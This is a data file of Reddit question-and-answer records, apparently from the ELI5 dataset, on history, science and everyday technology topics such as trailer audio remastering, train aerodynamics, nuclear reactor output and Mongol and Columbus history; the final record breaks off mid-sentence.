{"q_id": "1i9s1n", "title": "Which event had the fastest dramatic change?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1i9s1n/which_event_had_the_fastest_dramatic_change/", "answers": {"a_id": ["cb2d4io", "cb2fba1"], "score": [6, 3], "text": ["Atomic Bombings of Hiroshima and Nagasaki.  \n\nOne minute the cities are all just sitting there, all mostly undamaged, and then in the next the city is destroyed........ well, part thereof.  The atomic bombs weren't actually as destructive as people would imagine.  I imagine it's the fastest people have ever killed other people.", "The broadness of this question unfortunately runs afoul of our rules about both \"[in your era](_URL_1_)\" and \"[poll type](_URL_0_)\" questions. If you have questions about this feel free to send us a modmail."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_.22poll.22-type_questions", "http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_.22in_your_era.22_or_.22throughout_history.22_questions"]]}
{"q_id": "7bdksq", "title": "how do they make old songs sound clear in movie trailers?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7bdksq/eli5_how_do_they_make_old_songs_sound_clear_in/", "answers": {"a_id": ["dph41o9", "dphbd4u", "dphgca8", "dphh56z", "dphivhg", "dphltzu", "dphn6m8", "dphnwfj", "dphnz0h", "dphpgud", "dphqqr7", "dphrdra"], "score": [1859, 39, 94, 2, 12, 3, 3, 3, 3, 3, 2, 2], "text": ["Large Hollywood movie production studios have contracts with many large record labels for access to their original master recordings of music, and for more popular songs, the record labels can also sometimes provide the individual unmixed track recordings of those songs. \n\nBasically, the movie studios can get separate high quality recordings of the drums, vocals, horn section, guitar, piano, etc, and completely remix the song to fit the context of the movie/trailer. \n\nAs far as making the tracks sound \u201cclear\u201d, this is either just done by having high quality recordings, or the audio engineers have added some sort of compression, equalizer, or other form of effects processing to the tracks to give them and crisper, more modern sound. \n\nEDIT: These multitrack master recordings and the individual tracks are referred to as \u201cstems.\u201d I was not aware of this term at the time of writing. ", "There are two other major possible ways to make it clear. First studios will go through and clean up old recordings or use remasters to make it sound clear. Second, although used less frequently, sometimes they will rerecord a song with an voice actor that can impersonate a persons voice and a Hollywood orchestra for the instrumental part.", "Audio sweetening is a big field.  \n\nAs some others mentioned, studios try to get the best original sources they can find. When media has degraded they'll multiple different sources, each the highest quality they can find.  These will be integrated together.\n\nThere are many noise reduction techniques out there. Many begin by transforming the clips from temporal data (the waveforms you are probably used to) into frequency data (often visualized [like this](_URL_0_)). When working in frequency space the data is more like a speckled image rather than waveform data.\n\nConstant frequencies, such as a 60 Hz electrical hum, can be removed; as frequency data that can mean erasing or cutting down (perhaps to 10% of their old value) at the 60 Hz line. Many noises are easily visualized as long lines or dark areas when viewing audio as frequencies, and they can be digitally removed or have their intensity reduced.  Frequencies outside the regular voice range can be removed; the sound engineer can start by dropping everything below about 300 Hz and above about 3500 Hz, then fine tune the range based on what they hear.\n\nThe traditional high-pass and low-pass filters used in analog equipment do the same type of work, only less precisely. Mixer boards, both digital and analog, do them on a coarse scale. They cut both the high-frequency sounds and the low-frequency sounds, and can be used to boost or drop different frequency bands as needed.  The big mixer boards with tons of sliders that are shown at concerts do this, allowing the sound engineer to modify different frequencies of noise during the live event.\n\nReverberations and echos can be easily added, and with some software can be scanned for and removed or reduced. \n\nMultiple recordings can be mixed together.  If the quality of old tracks is not good enough new recording can be mixed in.  If part of a word is unclear in the original recording, a voice actor can sing the lines in a similar voice, and the sound engineer can align the sound sample, adjust the pitch and volume, and blend the two together.  It may be Sinatra you hear, but there may be a mix of singers that have been skillfully blended in.  Similarly for orchestral parts, new violin recordings, cello recordings, or flute solos may be recorded and mixed in.  \n\nThere is far more -- it is an entire industry with signal processing math, specialized software, in addition to artists and engineers involved -- but that should give an idea of how it works.\n\n", "Any examples where this is done? ", "When possible we get high quality remastered tracks of each instrument, called \"stems\".  These stems allow us to basically remix the track as needed, pulling out parts we dont want and boosting ones we do to modernize and \"trailerize\" the music cue.\n\nAlso, most of the songs you hear are not simply the song.  Usually we have a music library company add some additional elements to it, like more drums, or a rise, or a string element, etc.  \n\nOn top of that, you have all the sound effects you typically hear in trailers, (the Hits, the Rises, the BWAAMS, etc) that can sound like part of the song when cut rhythmically.  \n\nsource: am trailer editor. ", "Any song can be remixed to sound \"clearer\" with proper compression. An audio engineer can use the equalizer to filter out any frequencies that don't sound good to the ear, and make the song more \"modern\".", "Aside from the obvious (remastered stems, etc) it's also true that things sound different at high volumes in a theater environment than they do on your car radio or earbuds. It's harder to discern audio quality when it's being blasted at you in surround sound.", "Probably a combination of the following....\n\n1) access to a high quality source, possibly the original master recording on tape.  The audio quality of a tune someone put up on YouTube, your parents cassette collection, a worn out record or even a CD might not be anywhere near what it was when the track was originally recorded.  \n\n2) Compression.  Trailers and commercials are notoriously over compressed.  This means the loud sound in a piece are squashed down a bit and the quieter sounds are boosted giving the whole thing more power and punch but making it a lot more fatiguing to listen to for longer.   It\u2019s kind of like how they say a sweeter drink might taste better at first but but by the end you might prefer one less sweet.  This is why people complain that many commercials are much louder than the TV or Radio program they are listening to.  Compression allows the whole thing to be made louder without blowing out the speakers or our ears during the loudest parts. \n\n", "Remastering. Basically you take the original recording which is probably on a big roll of tape and feed it through a machine that lets you 'tune' it. In the older days it was an actual machine that had sliders and knobs for turning these parts up and this part down and clear out this scratchy sound, etc. These days it all goes into computers that do the same thing. Some programs even have interfaces with virtual buttons and knobs for those that want to feel like they have their mixer again. Those mixers were the size of a dinner table btw, like a full on Thanksgiving sized dinner table. Source: Dad's a producer, he had one of those for years until they cleared it out to make room for bigger speakers and newer tech. It had mostly been used as a table/cat bed for the last 10 years of its life and was incredibly expensive back in the day. But when they got rid of it it was worthless pretty much unless they wanted to find a collector which they didn't have time for. ", "I actually work in a studio that does this very work! I\u2019m an imaging specialist so I can\u2019t speak for the specifics of the audio engineering aspect, but the place I work has literally millions of master recordings stored for different record companies, and they are digitized for the very purpose you described (as well as preservation and restoration). Check out this video to see where the work is done (and my office!): _URL_0_", "It's not like Frank Sinatra's music is completely dead, you can search on spotify or google music and you'll find excelent sounding music there are even FLAC files of his music and others of that age that sound amazing in these days.\n", "The \"Loudness War\"  \n\nMost old pop music was \"digitized\" with equalizer settings to be bigger, louder, and more poundingly rhythmic than ever before.  Blame it on hip hop.  Blame it on rap.  Go back even further and blame it on the invention of the drum machine in the 1970's.  By the way, this trend is a primary reason for the resurgence of vinyl records.  Serious audiophiles really want to hear those subtle background midrange sounds these days.  The needle will literally jump out of the groove if lower frequencies' pounding rhythmic sounds are emphasized too much.  Most movie producers have a built in reason not to allow the pounding to distract from the visuals...at least until the closing credits.  Movie producers also buy each and every digital multitrack.  A good example is Will Smith's \"Men In Black.\"  He got each track of Patrice Rushen's \"Forget Me Nots\" but only wanted the bass guitar, electric piano, and synthesizer.  That way he could start over with new drum sounds.  A lot of movies probably take old songs and replace old drum machine sounds with super clear and crisp new ones.  Obviously a highly skilled live drummer like Neal Peart cannot be replicated so they would do the best they can to separate his original kick, snare, and cymbal sounds and equalize them in such a way that you can hear the old keyboard, bass, and guitar sounds easier.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://cdn.lynda.com/video/137180-140-635180851189681333_338x600_thumb.jpg"], [], [], [], [], [], [], ["http://www.americanphotomag.com/inside-iron-mountain-vault-housing-lunch-atop-skyscraper-negative"], [], []]}
{"q_id": "1ja10g", "title": "what is this \"bitcointip\" i keep seeing here on reddit?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ja10g/eli5_what_is_this_bitcointip_i_keep_seeing_here/", "answers": {"a_id": ["cbclajv", "cbcrct1"], "score": [4, 6], "text": ["Have a look in /r/Bitcoin. Bitcoin started up in 2009 as a completely decentralized on-line currency. It has numerous advantages over fiat, and no central bank or organisation controlling it.\n\nBitcointip is a Reddit bot which allows people to quickly and easily send bitcoins to other Reddit users as a 'tip' - usually in response to a good comment, for example.\n\nIf you're interested in learning more, as well as /r/Bitcoin, there is also the [Bitcointip documentation](_URL_0_).", "Bitcoin is an attempt to create a decentralized digital currency that cannot be tracked.\n\nThe main problem with it is that very few places accept it as currency, making it really only an investment. One whose value is about as stable as a piece of wood on top of a ball. That said, there is a community of people who use it, so you can, in a limited way, use it as a currency.\n\nAlso, the fact that it is untraceable attracts criminals like light attracts insects, meaning governments will probably crack-down on it before too long. Those who are true believers will say the governments are afraid of competition, but the level of fraud potential in Bitcoin should not be ignored. Not to mention if you lose your Bitcoins, they are gone. Untraceable means unrecoverable.\n\nI won't tell anyone not to get into Bitcoin, but I will say do your research and understand the risk before you do. A lot of people are into it for the ideology and they will defend it to the core, and a lot of people hate it just because they hate the ideology behind it. Make sure you can read through that. It isn't a scam, but it isn't the greatest thing in the history of finance, either. I personally would treat it like any other high-risk investment: Only play with money you can afford to lose."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/bitcointip/comments/13iykn/bitcointipdocumentation/"], []]}
{"q_id": "2zymd1", "title": "In the show \"Generation War\", two German brothers are in the same unit together. Was this common in WWII German military?", "selftext": "The older brother is a Lieutenant, and the younger brother seems to be a private or a corporal. They are in the same company. As a follow up, was this common in other militaries of the period?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2zymd1/in_the_show_generation_war_two_german_brothers/", "answers": {"a_id": ["cpnhtw2"], "score": [24], "text": ["So I'll avoid using the words \"common\" and \"uncommon\" because I don't have any statistics to show exactly how common it was for brothers to serve in the same unit. That being said, it was definitely a possibility mainly due to a German recruitment method known as \"primary grouping\". Primary grouping was the German attempt to install a sense of cohesion and loyalty in the German army. Under this system German soldiers would be drawn from roughly the same conscription zones (Wehrkriese). This meant that troops were trained and grouped roughly on a territorial basis; also when a man got injured he would most likely be returned to the same unit after he was recovered. The idea was to make soldiers see their unit as a second family and develop a sense of loyalty and camaraderie with their fellow soldiers and officers. This got harder to do at the divisional level and so was more of a platoon/company level occurrence. Now as the war dragged on an manpower got scarce these groups generally got broken up. A lot of historians used to point to this system of grouping as being of the German army's greatest strengths (and its destruction helped signal the end of the German army as a feared fighting force); but this view isn't all that common anymore. \n\nAnyways, so definitely two brothers fighting in the same unit was certainly possible; again I don't want to use common cause I don't have the statistics on hand (truth be told I'm not sure such statistics would exist in the first place). Sorry if this isn't exactly the answer you were looking for, but hopefully it helps shed some light on the situation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1ns3k2", "title": "Are aerodynamics completely unimportant for non-superfast trains?", "selftext": "All the superfast trains I know of have streamlined shapes, which makes sense. However, almost all non-superfast trains I've seen don't seem to follow the same design rules.\n\nThis post was inspired by the [new design of the London subway trains](_URL_3_), which seem to present themselves to the air in the tunnels with a *very* flat face. That made me think of our inter-region trains, many of which [look like this](_URL_0_) or [like this](_URL_2_); however, it's not limited to my own country - Swiss trains, for instance, [don't seem much more streamlined](_URL_1_).\n\n\nNow, in the case of the metro it might be somewhat understandable - the train doesn't really go all that fast (London metro average speed: 33 km/h), and I suppose traveling in a tunnel creates all sorts of aerodynamic weirdness I'm completely unaware of. But open-air trains routinely reach speeds of 130-140 km/h, and you'd think there would be interest in making them meet and leave the air with more pointy noses and tails.\n\nNow, if in order to do this you had to build their fronts and backs out of reinforced adamantium or something, then I'd see the reason - but it seems in many instances all that would be needed would simply be a different shape, and since it doesn't have to withstand stuff like supersonic air it should be possible to build it out of the same things they use to make flat fronts. Surely it can't be much more expensive, and even if the efficiency gained (what with all the friction of several dozen wheels) is, I don't know, 0.5%, it's still better than nothing.\n\nClearly I am wrong, because I expect whoever designed those trains took all this into consideration and decided it wasn't worth bothering with. But why?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ns3k2/are_aerodynamics_completely_unimportant_for/", "answers": {"a_id": ["ccliqbj", "cclir2e", "ccliu3z", "ccljc0m", "cclkpkf", "cclkz3c", "ccll46m", "ccllaaf", "cclm0sp", "cclmtnh"], "score": [80, 311, 25, 4, 14, 2, 3, 8, 10, 4], "text": ["In the case of the tube trains, having an aerodynamic nose would be of no benefit due to the fact that there is such a 'snug' fit within the tunnels that air cannot flow around the train anyway.\n\nAlso, it's about storage. Space is at a premium, so when they're parked nose-to-tail along sidings and in shelters, you don't have several feet of track wasted by every train.\n\nThey are also slow enough that streamlining is not going to have much of an effect.", "Now really _completely_ unimportant, but close to.\n\nThe longer you make a train, the less important the form drag (which you can influence by changing the shape of the locomotive) becomes, and the more important skin friction gets. \n\nA typical train can have diameter to length ratios of 20 to 100, if you approximate it as a cylinder. In this case, the influence of the front just does not matter.\n\nAnd above all, you have to consider cost/benefit. You COULD, for example, reduce total drag of a freight train considerably if there were snug fairings for all waggons, creating a smooth outlite. But that would create huge amount in costs (both in production, as well as in increased work for loading / unloading, maintinance, etc), so its just not cost efficient.", "With trains you have 3 competing factors,  aerodynamics and space constraints and accessibility. \n\nAn aerodynamic train wins out at speed, but take more space to store and don't allow people to move between trains safely. At lower speeds, being able to squeeze more trains into a siding can be more useful than a small fuel saving. \n\nA pointed nose also stops you putting a door at the front. In the case of a breakdown, passengers would have to get off the train and reboard, a far more dangerous situation (other trains cannot pass, electric rails need powering down etc).\n\nAn interesting note, on the London underground, the trains form part of the air conditioning system. The force cool air down the tunnels into stations and warm air out. This stops the air conditioning units being overwhelmed. Many of the stations are limited where they can dump excess heat due to the city above. \n\n", "You may have been looking at the [wrong](_URL_2_) Swiss [trains](_URL_1_).\n\nArguably, even [the 1919 Krokodil](_URL_0_) was more streamlined than some later breeze blocks.", "The sources of aerodynamic drag on trains are form drag and friction. Form drag is largely dependant on the cross sectional area and shape of the nose and tail of the train, while friction is dependant on the length (and other things like carriage gaps, pantograph, etc.). So friction drag is the primary drag source as the train lengthens.\n\nDrag increases with speed squared, so at relatively low speeds (like in most inter-city trains) the practical advantages of having a flat front (such as conforming to space and platform constraints, packing in more passengers, emergency access etc.) possibly outweigh the associated drag cost. In addition, the piston effect is useful on the London underground for aiding ventilation of the stations, so the nose profile doesn't matter much here.\n\nAt higher speeds changing the nose shape (and tail shape) is critical to reducing form drag. This is also important in tunnels at high speeds (even with a 'snug' fit between the train and tunnel walls) as nose shape can influence passenger aural comfort (pressure variations when entering the tunnel causing ear pain) and lead to higher noise levels (possibly even a sonic boom ahead of the train at really high speeds). \n\nIn summary, regional trains could probably benefit from making the nose (and tail) more aerodynamic, but it was somehow decided that this is outweighed by the practical implications (some of which were mentioned earlier).\n\nSource: PhD student in high speed rail aerodynamics", "Drag force = 1/2 (fluid density) ( drag coefficient) (surface area) (velocity ^2 )\n\nDrag coefficient is a function of the shape of the object. In this case fluid density is the density of the air the train is traveling through. If we were to say every variable is constant except velocity we would see drag force = C * velocity^2 . So if we are to compare the drag force of the 33km/h train to the 140 km/h train we would see a drag force almost 18 times higher in the fast train than the slow train. So you can see that the exponential growth of drag force is the reason why aerodynamics becomes so much more important with faster moving object.", "The important aspect, why is the streamlined shape used more and more now, is noise reduction. With good aerodynamics you significantly reduce the noise which allows trains to ride faster in inhabited areas", "In the US at least, streamlined diesel trains were the norm when first introduced for both freight and passenger service, looking similar to [this] (_URL_0_). It didn't take railroads much more than a decade to realize that an aerodynamic body was useless if, for example, the operator had to stick his head out the window to see in reverse or the conductor had to climb up a ladder and physically get inside a locomotive after coupling and uncoupling. Since a huge percentage of railroad traffic, especially coal, in the US moved at speeds barely faster than a human can jog, with fifty to a hundred-plus cars, utility won over physics. \n\nThis lead to almost all freight and some passenger operations being replaced with non-aerodynamic locomotives looking like [this] (_URL_1_). The engineer can see forward easily, can see to back up a short cut of cars, and the conductor can ride the front or back when not at speed. As a bonus light maintenance on the engine is easier as hatches allow side access to the engine compartment where before a maintenance worker had to cram himself inside the carbody. Today, even a lot of non-electrified commuter trains in the US are non-aerodynamic (though that may say more about the pitiful state of commuter rail than anything else).", "The crazy noses on bullet trains are less about reducing drag and more about reducing the \"tunnel boom\", which is what it sounds like. \n\nWhen a train enters a narrow tunnel at a high speed, it can cause a boom so loud down the tunnel that it can damage the tunnel.\n\n", "Related question: in my country it's possible for passengers to open windows in corridors and compartments. As there's no AC, most of the windows are wide open in summer, otherwise the travel would be unbearable. I suppose it affects aerodynamics and fuel/electricity consumption considerably. I wonder if someone can tell how much energy is wasted this way? And if the company decided to fit AC in the trains (and seal the windows), would it be a worthy investment and how fast could they expect returns (assuming 6 warm months a year)?"]}, "title_urls": [], "selftext_urls": ["http://www.primonotizie.it/wordpress15/wp-content/uploads/2013/06/treno-regionale-calabria.jpeg", "http://www.ffs.ch/content/sbb/it/desktop/sbb-konzern/sbb-als-geschaeftspartner/bund-kantone/kantone/westschweiz/region-jura-bernois/_jcr_content/contentPar/completeimage/image.spooler.completeimage.553.jpg/1305116232755.jpg", "http://www.lavocedeltrentino.it/images/2013/new/1/tren.jpg", "http://images2.corriereobjects.it/methode_image/2013/10/05/Scienze/Foto%20Gallery/metro3_MGzoom.jpg"], "answers_urls": [[], [], [], ["http://www.roundhouse.ch/Grafik/Lematec_HO/Lematec_Krokodil-gruen.jpg", "http://farm4.staticflickr.com/3154/2769755895_9fca4e7004_z.jpg", "http://upload.wikimedia.org/wikipedia/commons/0/08/Sbb_rabde500.jpg"], [], [], [], ["http://upload.wikimedia.org/wikipedia/commons/3/3c/EMD_FL-9_NYC_2013.jpg", "http://en.wikipedia.org/wiki/EMD_GP40"], [], []]}
{"q_id": "39edl7", "title": "How are tiny particles detected in a very short time span?", "selftext": "\n\nI'm asking about things like the discovery of new fundamental particles and very short lived isotopes. \n\nFor example: the wikipedia page says that only 3 or 4 atoms of Ununoctium 294 have been detected. It also has a half life of 890 microseconds. How were those individual atoms detected? How did they do it so fast that they could figure out the half life? How did they know it was ununoctium and not something else?\n\nAnother example: How did they figure out that there were charm quarks, considering that they decay into up quarks in 10^-23 seconds (if that's correct)? How did they measure it's traits and know that it was different from the other particles?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/39edl7/how_are_tiny_particles_detected_in_a_very_short/", "answers": {"a_id": ["cs2voqv"], "score": [3], "text": ["In the case of particle physics, you don't detect the particles directly, you observe their decay products and can work out the properties of whatever decayed. You do a lot of collisions get some distribution of calculated properties and compare them to theoretical predictions.\n\nI imagine it is the same in nuclear physics (more or less)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bhao66", "title": "how can battery packs for tools only be up to 6ah but us power packs can be 22000mah and be the same size or smaller.", "selftext": "Like DeWalts biggest 20v battery is 6ah but Anker sells a power pack that feels roughly the same weight and it's 22000mah which when convert to ah is 22ah almost 4 times as big\n\nEdit: title should be USB", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bhao66/eli5_how_can_battery_packs_for_tools_only_be_up/", "answers": {"a_id": ["elra1al", "elra824", "elri2et"], "score": [9, 7, 3], "text": ["Marketing blather is part of it. But also voltage. 22 amp hours at 5 volts is the nearly same energy density as 6 amp hours at 20 volts.", "Because of the voltage. The anker Pack is probably internally at 3-4V depending on the type of battery. They can then step the voltage up to 5V for USB. Meaning you have on big cell.\n\nThe dewalt needs to get to 20V, which they will manage by putting several 3-4V cells in series. If they want the same Ah like anker, they would have to take 4-6 of the anker cells to still supply 20V.\n\nAlso the anker pack is probably a lipo and the dewalt probably a li-ion.\n\nEdit: phrasing", "22000 mAh x 5 volts = 110 watthours\n\n6Ah x 20 volts = 120 watthours\n\nSo from an energy storage perspective, those batteries have a similar capacity.\n\n & #x200B;\n\nPackaging also comes into play:  Many tool batteries use cylindrical cells (i.e. 18650) whereas a power bank probably uses a rectangular (prismatic/pouch) cell.  You waste some space with the round cells, plus power tool batteries probably have padding and thicker housings for durability."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2cpjo4", "title": "Can a nuclear reactor with a fixed amount of fuel \"conserve\" energy at times when demand is low, or does it always output the same amount of energy?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2cpjo4/can_a_nuclear_reactor_with_a_fixed_amount_of_fuel/", "answers": {"a_id": ["cjhwq15", "cjiambi"], "score": [16, 4], "text": ["Yes. Though typically commercial reactors become more difficult to control at low power levels ( < 10%). This has to do with fine control of the feed water system, usually.\n\nIn a commercial Pressurized Water Reactor (the type I'm most familiar with), reactor power basically follows the demand on the generator. If you're not familiar with reactor theory, it's somewhat complicated to explain why, but [this is a decent summary.](_URL_0_)\n\nNeutron moderators, such as control rods and boric acid, are then used to control the reaction rate. This maintains reactor coolant temperature (and therefore, fuel temperature) in a safe temperature range.\n\nTypically nuclear power plants are used as \"base load\" meaning they're always running at full capacity. There are a couple of reasons for this. It's partly because nuclear plants are cheaper to operate once running. It's also partly because startup/shutdown takes a long time vs. coal or gas plants (days vs. hours or minutes). So the fossil fuel plants are used as \"peaking power plants\" that run during peak hours. Summer afternoons when everyone is running their air conditioners, for instance.\n\n", "Nuclear engineer here.\n\nYour answer was answered pretty well by others, but some added info.\n\nWhenever a reactor core is reloaded, one of the critical parameters is the number of \"Effective Full Power Days\" (EFPD) worth of fuel the new core will have. 1 Effective full power day means that the reactor ran at 100% for a 24 hour period. Determining how many effective full power days you need is difficult for many reasons. You need to size the core's number of EFPDs so that you don't have enough fuel to make it to the end of cycle, but you also need to make sure if the plant scrams 2 or 3 times that you don't have so much excess fuel that it is getting wasted. Typically reactor cores are sized so that if you have a perfect run through the fuel cycle, the last couple weeks the core will slowly lose the ability to maintain full power, but if you have 1 or 2 scrams you won't have any excess fuel by the end of the cycle. \n\nIt is possible to load less fuel, for a lower EFPD, and plan on load following. Some plants like Columbia Generation Station nuclear plant will do this. They typically load follow in the late spring months, when there is a lot of wind, low power demand, and a lot of hydro (water runoff), and the nuclear plant is not needed all day. They size their core to account for this, and their nuclear plant will load following during these periods.\n\nMy plant has had to make a decision about when to do critical power grid maintenance. We chose to do it at a time when power prices are lower, which meant that later in the cycle, when power prices were higher, we still had enough fuel to maintain full power operation. \n\nTo conserve fuel, you simply lower reactor power. It's easy to do. Whenever you are below 100% power, you will use less than 1 EFPD of the core's fuel each day. It's possible to make that choice. Typically a plant will try and plan for it 1-2 years ahead of time, so that they pre-planned their fuel usage and don't have excess fuel or not enough. \n\nLowering power does reduce efficiency. Nuclear power plants have peak efficiency when they are at full power. At lower power levels, different effects such as lower feedwater heater temperature, less decay heat, etc, will reduce the efficiency of power production.\n\nIn the nuclear navy, the reactors are designed with a specific number of effective full power YEARS. Running at reduced power means that those reactors get longer lifes, and is part of the reason you can run over 20 years on a naval reactor (the other being the much higher initial fuel enrichment).\n\nAnyways, that's just some extra information."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Pressurized_water_reactor#Control"], []]}
{"q_id": "anqyut", "title": "I remember reading that some Mongol generals, upon returning home from their conquests, found that their children were all spoiled brats grown in palaces. So the generals sent their children to a forest, naked, without any supplies, and told them to come back a year later. How much of this is true?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/anqyut/i_remember_reading_that_some_mongol_generals_upon/", "answers": {"a_id": ["efw0u0n"], "score": [621], "text": ["I believe that this was something in one of Conn Iggulden's *Conqueror* novels, if memory serves correctly. A fun series and a good writer, but he takes a number of artistic decisions for the sake of story telling.\n\nGenerally speaking this sounds unlikely, being as Mongol families often accompanied the army on campaign, so there would not be a 'returning,' in quite that context. And when the sources are discussing the spoiled or lazy nature of Mongol rulers, one of the examples they often give is that they spent more time hunting than ruling. For instance, to depict Jochi (eldest son of Chinggis Khan) as lazy and to discredit his successors, after the fall of Gurganj in 1221 he said to have spent the rest of his life hunting in pro-Toluid sources (see Atwood, \"Jochi and the Early Campaigns,\" for more on this matter.) And Kublai Khan was famed for his hunting trips wherein he would sit on the back of four elephants lashed together (his gout being so bad, and him so obese that horse riding was likely very difficult for him as he aged) and shoot at animals released infront of him, as recorded in Marco Polo.\n\nAfter Temujin, the young Chinggis Khan, lost his father to Tatars and was abandoned by his tribe, he and his family were forced to survive *exclusively* hunting and gathering what they could, eating such things as mice, dogs, birds or even fishing. That sort of hunting was looked down upon by the Mongols, but generally had positive connotations and was an important means to sustain themselves alongside their herds.\n\nFurther, the Mongols and their successors never took to living, except part time, in palaces, commonly setting up *gers* (yurts in Turkish) in palace gardens or outside of the city. Ogedai Khaan, Chinggis Khan's successor, despite being famed for the construction of Karakorum in Mongolia spent little time living in the city itself, and such customs for the conquerors and their families continued well into the time of Timur and his descendant Babur. Which is not to say they never lived in palaces, but during the height of the united Mongol Empire (1206-1260) palace building and construction never common in Mongolia (though did take place, as not only Karakorum but a number of other small cities and palace like complexes were constructed by Chinggisids, particularly in the Orkhon area). \n\nHowever, there was, particularly as the 13th century wore on, problems with 'spoiled' princes, but our sources depict this more in line with alcoholism and greed than growing up with fine things.  It is notable that the maxims of Chinggis Khan which survive in the sources often relate to limiting alcohol consumption.\n\nIn the Yuan Dynasty (the Mongol Khanate in China and Mongolia ruled by Kublai Khan and his successors) the ruling court in Dadu (Khanbaliq, modern Beijing) was rather infamous for hedonism, the final Yuan ruler in China often said to have spent his long 3 decade reign distracted by women, alcohol and effectively everything but ruling, though its been shown that this was exaggerated to a large degree by later Chinese writers, and efforts to contrast them with the new Ming Dynastic founder, the Hongwu Emperor. Hongwu wanted to be shown as just, firm, not distracted by worldly distractions as the final Yuan rulers were. We also see throughout the Yuan Dynasty conflict between whether the Mongols should maintain their steppe customs and focus of the empire, using China's wealth for expanding the empire -associated with hunting, herding, livings in *gers* and the military- or adopt sedentary customs and focus on ruling the Chinese -associated with living in palaces, living in China. This was a serious conflict which often turned to armed violence and coups, and few Yuan emperors died natural deaths.\n\nIggulden's (if this was in fact from him, I do apologize if this is wrong, but I can't access my copies of his books right now) depiction of Mongol reactions to children spoiled by sedentary (generally, Chinese) customs does in fact reflect a serious problem which the Mongols faced being a softer life with sedentary aspects, or the leaner world of the steppe. But hunting as punishment seems unlikely. When we are in the period of Mongols being ''returning' from their campaigns to Mongolia (so, the period from 1209-1260), those sons were in all possibility on campaign alongside their fathers (conscription for military service started around 15), or taking roles in the maintenance of the herds and production of arms and armour for the warriors, which even with the influx of slaves and goods from the conquests still needed to be done. If anything, taking a year off for hunting would be a reward!\n\n & #x200B;\n\nSources:\n\nMorris Rossabi, *Kublai Khan: His Life and Times*\n\nTimothy May, *The Mongol Empire* (2018)\n\nChristopher Atwood, \"Jochi and the Early Campaigns,\"\n\n Frederick W. Mote, \"The Rise of the Ming Dynasty, 1330-1367,\" in *the Cambridge History of China,* Vol 7, *The Ming Dynasty 1368-1644,* Part one.\n\n*The Secret History of the Mongols*, translated by Igor de Rachewiltz: [_URL_0_](_URL_0_)\n\n & #x200B;"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://cedar.wwu.edu/cgi/viewcontent.cgi?referer=https://www.youtube.com/&amp;httpsredir=1&amp;article=1003&amp;context=cedarbooks"]]}
{"q_id": "7ltd6i", "title": "Does changing temperature have \"inertia?\"", "selftext": "When anything with mass, let's say a liter of water, changes temperature, can that change in temperature have any sort of \"inertia?\" For example, if I boil a liter of water, and then put it in a freezer that is exactly 0\u00b0C; does the temperature simply fall to zero, or can it build \"inertia,\" that would cause the water's temperature to dip below zero, and then effectively \"rebound\" and settle at 0\u00b0C?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7ltd6i/does_changing_temperature_have_inertia/", "answers": {"a_id": ["drpdmiw", "drpe4fu"], "score": [4, 16], "text": ["At a macroscopic level, the rate of change in the temperature of the water will be proportional to the temperature differential, so will follow an inverse exponential course to equilibrium. Given this, the rate of change as the water approaches 0C will tend to zero so there can be no overshoot.\n\nSee: [Newton's Law of Cooling](_URL_0_)\n\nOf course, cooling is more complex than this simple model, especially as you approach freezing but I'm guessing that's not the nature of the question.", "No, for the reason that changes in temperature require a sink to 'move heat' (**this is not a rigorous way of talking about it**) in or out of. If the water is getting colder, it has to be making something else hotter by giving energy to it. By the laws of thermodynamics it can't be making anything already hotter than it is even hotter as this would result in a decrease in entropy and that's against well established empirical fact. Hence no 'inertia': changes in temperature always have an external body driving them, whilst in any given reference frame an object's momentum is constant."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.khanacademy.org/math/differential-equations/first-order-differential-equations/exponential-models-diff-eq/v/newtons-law-of-cooling"], []]}
{"q_id": "5sc9rw", "title": "I've been told that Columbus wrote that Caribbean natives \"had no Religion\". If that's true (is it?) was it that he was just arrogantly refusing to call the Ta\u00edno belief system \"a religion\", or was he genuinely incapable of recognizing alien spiritualistic/ritualistic behavior?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5sc9rw/ive_been_told_that_columbus_wrote_that_caribbean/", "answers": {"a_id": ["ddfc9lo"], "score": [34], "text": ["At it's heart the assertion of no religion is an attempt to to justify the colonization of Taino lands under the guise of a \"just war\". Columbus was many things, but he wasn't so close-minded that he was unable to recognize a foreign belief system. The claim to a lack of religion, or notions of property, or innocence all worked to present new found lands as a just and easy conquest. The processes forged during the reconquest of the Iberian peninsula, and then tempered in the colonization of the Canary Islands, were unleashed with full force in the Caribbean. The same religious justification used for the *Reconquista* and the subjugation of the Canaries covered the many sins of colonization in it's early phases. Let me quote a bit from [an earlier post](_URL_0_), edited for our purposes here.\n\nDuring the exploration and conquest of the New World the Spanish crown sold licenses to explore/conquer/rule a specific region. *Adelantados* bore the cost of mounting the hazardous expeditions into the unknown, and successful invaders would gain from the production of their land, after the crown took it\u2019s 